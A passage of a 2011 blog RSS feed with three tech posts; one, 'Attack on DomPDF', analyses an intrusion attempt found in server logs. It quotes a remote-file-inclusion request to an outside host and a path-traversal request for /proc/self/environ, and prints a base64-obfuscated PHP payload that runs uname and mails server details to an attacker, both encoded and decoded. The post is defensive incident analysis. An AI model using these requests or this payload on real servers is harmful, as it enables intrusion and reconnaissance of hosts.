			<wfw:commentRss>http://blog.ideaday.de/max/2011/10/opera-and-chrome-blocking-json-requests-in-local-mode/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>persist.js does not work with Firefox offline</title>
		<link>http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/</link>
		<comments>http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/#comments</comments>
		<pubDate>Thu, 06 Oct 2011 20:01:16 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[tech]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/' addthis:title='persist.js does not work with Firefox offline '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>Yes, it seems to be by design (of Firefox' implementation of localstorage). It does not work for file:// URLs. Persist.js currently has no workaround, the contents of your database will be cleared &#8230; In order for Firefox to work offline, you have to remove the "localstorage" type manually, like this: Persist.remove('localstorage'); Persist.js will issue a [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/' addthis:title='persist.js does not work with Firefox offline ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/' addthis:title='persist.js does not work with Firefox offline '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>Yes, it seems to be by design (of Firefox' implementation of <em>localstorage</em>). It does not work for file:// URLs.</p>
<p>Persist.js currently has no workaround, the contents of your database will be cleared &#8230;</p>
<p>In order for Firefox to work offline, you have to remove the "localstorage" type manually, like this:</p>
<blockquote>
<p> Persist.remove('localstorage');</p>
</blockquote>
<p>Persist.js will issue a warning that <em>globalStorage can't be used</em>, and fall back to cookie storage, which has size limitations. On a side note, removing both localstorage and cookie storage will fall back to Flash. Flash will probably work, but it pops up a message which your users might find bewildering, and click away &#8211; viz:</p>
<p><img alt="persist" src="http://ideadayblog.ideaday.netdna-cdn.com/max/wp-content/uploads/2011/10/persist.swf-firefox-local.jpg" width="545" height="209" /></p>
<p>What is left after removing localstorage, cookie and flash?</p>
<p>Nothing (as Gears is not available).</p>
<p><strong>Cookie</strong>'s the way to go &#8211; you will have to live with the size restraints!</p>
<p>The way to check for larger strings than the storage allows <strong>does not seem to work for me</strong>. I used:</p>
<blockquote>
<p>Persist.size != -1 &amp;&amp; Persist.size &lt; JSON.stringify(tmp_answer_db).length</p>
</blockquote>
<p>One work around for larger data might be to use a JS compressor to fit all into the cookie. Or save less &#8211; reduce to the essential! Don't use JSON, use your own notation. Even JSON is too large for the cookie.</p>
<p><b>Update</b>: Detecting firefox in a local file:// environment and removing localstorage<br/><br/></p>
<blockquote>
<p> 	//detect FireFox. If it's the Fox, AND running locally remove localstorage<br />
	if (/Firefox[\/\s](\d+\.\d+)/.test(navigator.userAgent) &#038;&#038; window.location.protocol == 'file:'){<br />
		Persist.remove('localstorage');<br />
	}
 </p>
</blockquote>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/' addthis:title='persist.js does not work with Firefox offline ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2011/10/persist-js-does-not-work-with-firefox-offline/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Attack on DomPDF</title>
		<link>http://blog.ideaday.de/max/2011/10/attack-on-dompdf/</link>
		<comments>http://blog.ideaday.de/max/2011/10/attack-on-dompdf/#comments</comments>
		<pubDate>Sun, 02 Oct 2011 11:56:57 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[tech]]></category>
		<category><![CDATA[attack]]></category>
		<category><![CDATA[base64]]></category>
		<category><![CDATA[DomPDF]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/2011/10/attack-on-dompdf/</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/10/attack-on-dompdf/' addthis:title='Attack on DomPDF '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>After installing Varnish I can see pages which are frequently accessed. //dompdf.php?input_file=http://www.fridela.com/slide/vero.txt? And /max/2009/06/bambooinvoice-und-pdf-briefpapier/dompdf.php?input_file=../../../../../../../../../../../../../../../../proc/self/environ%00 were lines which I found quite strange. Was someone abusing my server to convert their stuff to PDF? I tried to go to fridela.com &#8211; it seems like a normal website, dedicated to selling food to housewives. vero.txt is reported as [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/10/attack-on-dompdf/' addthis:title='Attack on DomPDF ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/10/attack-on-dompdf/' addthis:title='Attack on DomPDF '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>After installing Varnish I can see pages which are frequently accessed.</p>
<blockquote>
<p>//dompdf.php?input_file=http://www.fridela.com/slide/vero.txt?</p>
</blockquote>
<p>And</p>
<blockquote>
<p>/max/2009/06/bambooinvoice-und-pdf-briefpapier/dompdf.php?input_file=../../../../../../../../../../../../../../../../proc/self/environ%00</p>
</blockquote>
<p>were lines which I found quite strange. Was someone abusing my server to convert their stuff to PDF?</p>
<p>I tried to go to fridela.com &#8211; it seems like a normal website, dedicated to selling food to housewives.</p>
<p>vero.txt is reported as dangerous by Microsoft Security Essentials.</p>
<p>I DO know that it's a text file, probably it's danger lies if used with the correct application. Here's the contents of vero.txt</p>
<blockquote>
<p>&lt;?<br />
$win = strtolower(substr(PHP_OS,0,3)) == "win";<br />
echo "PLaTo&lt;br&gt;";<br />
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")<br />
{<br />
$safemode = true;<br />
$hsafemode = "4ON6";<br />
}<br />
else {$safemode = false; $hsafemode = "3OFF6";}<br />
$xos = wordwrap(php_uname(),90,"&lt;br&gt;",1);<br />
$xpwd = @getcwd();<br />
$OS = "&lt;&lt;".$hsafemode."&gt;&gt; ".$xos."";<br />
echo "&lt;center&gt;&lt;A class=ria href=\"<a href='http://".$OS."\"&gt;";echo'>";echo'" DESIGNTIMESP=16110&gt;http://".$OS."\"&gt;";echo</a> "PLaTo&lt;/A&gt;&lt;/center&gt;&lt;br&gt;";<br />
echo "&lt;br&gt;OSTYPE:$OS&lt;br&gt;";<br />
echo "&lt;br&gt;Pwd:$xpwd&lt;br&gt;";<br />
eval(base64_decode("aWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBzdHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgeyAkc2FmZW1vZGUgPSAiT04iOyB9IGVsc2UgeyAkc2FmZW1vZGUgPSAiT0ZGIjsgfSAkdmlzaXRvciA9ICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyAkZmxvYXQgPSAiRnJvbSA6IHZ1cmwgaW5mbyA8ZnVsbEBpbmZvLmNvbT4iOyAkYXJhbiA9IGV4ZWMoJ3VuYW1lIC1hOycpOyAkd2ViID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdOyAkaW5qID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07ICRib2R5ID0gIkJ1ZyBodHRwOi8vIi4kd2ViLiRpbmouIm5uU3ByZWFkIFZpYSA6ICIuJHZpc2l0b3IuIm5uS2VybmVsIFZlcnNpb24gOiAiLiRhcmFuLiJublNhZmUgTW9kZSA6ICIuJHNhZmVtb2RlOyBtYWlsKCJ1bml4b24yMDEwQGdtYWlsLmNvbSIsIlNldG9yYW4gQm9zICIuJHNhZmVtb2RlLCRib2R5LCRmbG9hdCk7"));<br />
die("&lt;center&gt; ByroeNet &lt;/center&gt;");<br />
?&gt;</p>
</blockquote>
<p><strong>The base64 part decodes to</strong></p>
<blockquote>
<p>if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safem<br />
ode = "ON"; } else { $safemode = "OFF"; } $visitor = $_SERVER["REMOTE_ADDR"]; $f<br />
loat = "From : vurl info &lt;<a href="mailto:full@info.com">full@info.com</a>&gt;"; $aran = exec('uname -a;'); $web = $_S<br />
ERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Bug <a href='http://".$web.$'>http://".$web.$</a><br />
inj."nnSpread Via : ".$visitor."nnKernel Version : ".$aran."nnSafe Mode : ".$saf<br />
emode; mail("<a href='mailto:unixon2010@gmail.com","Setoran'>unixon2010@gmail.com","Setoran</a> Bos ".$safemode,$body,$float);</p>
</blockquote>
<p>Actually the exploit has to be executed by DomPDF for it to work, i.e. meaning it should execute PHP code. After the exploit has been installed, a mail is sent to <a href="mailto:unixon2010@gmail.com">unixon2010@gmail.com</a></p>
<p>additional code seems to be hosted at <a href="http://www.fridela.com/slide/air.txt">http://www.fridela.com/slide/air.txt</a> &#8211; it's apparently a control interface to the cracked server (maybe also injected via DomPDF).</p>
<p>Be careful around these. <strong>Turn off inclusion of remote URLs in your PHP.ini.</strong></p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/10/attack-on-dompdf/' addthis:title='Attack on DomPDF ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2011/10/attack-on-dompdf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interactive Brokers and Opera + Privoxy</title>
		<link>http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/</link>
		<comments>http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/#comments</comments>
		<pubDate>Sat, 17 Sep 2011 11:34:18 +0000</pubDate>
		<dc:creator>Max</dc:creator>
				<category><![CDATA[English]]></category>

		<guid isPermaLink="false">http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/</guid>
		<description><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/' addthis:title='Interactive Brokers and Opera + Privoxy '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div>At some point in creating a new account Interactive Brokers "Next" button won't work (on the page you declare your investment targets and net worth). The solution is to use FireFox without Privoxy to continue with the application form. I am not sure whether it is Privoxy or Opera blocking the application (although I suspect [...]<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/' addthis:title='Interactive Brokers and Opera + Privoxy ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></description>
			<content:encoded><![CDATA[<div class="addthis_toolbox addthis_default_style " addthis:url='http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/' addthis:title='Interactive Brokers and Opera + Privoxy '  ><a class="addthis_button_facebook_like" fb:like:layout="button_count"></a><a class="addthis_button_tweet"></a><a class="addthis_button_google_plusone" g:plusone:size="medium"></a><a class="addthis_counter addthis_pill_style"></a></div><p>At some point in creating a new account Interactive Brokers "Next" button won't work (on the page you declare your investment targets and net worth).</p>
<p>The solution is to use FireFox without Privoxy to continue with the application form.</p>
<p>I am not sure whether it is Privoxy or Opera blocking the application (although I suspect Privoxy blocking some JavaScripts.)</p>
<div class="addthis_toolbox addthis_default_style addthis_32x32_style" addthis:url='http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/' addthis:title='Interactive Brokers and Opera + Privoxy ' ><a class="addthis_button_preferred_1"></a><a class="addthis_button_preferred_2"></a><a class="addthis_button_preferred_3"></a><a class="addthis_button_preferred_4"></a><a class="addthis_button_compact"></a></div>]]></content:encoded>
			<wfw:commentRss>http://blog.ideaday.de/max/2011/09/interactive-brokers-and-opera-privoxy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching 1/68 queries in 0.047 seconds using disk: basic
Object Caching 1096/1283 objects using disk: basic
Content Delivery Network via ideadayblog.ideaday.netdna-cdn.com

Served from: blog.ideaday.de @ 2012-02-10 22:51:48 -->
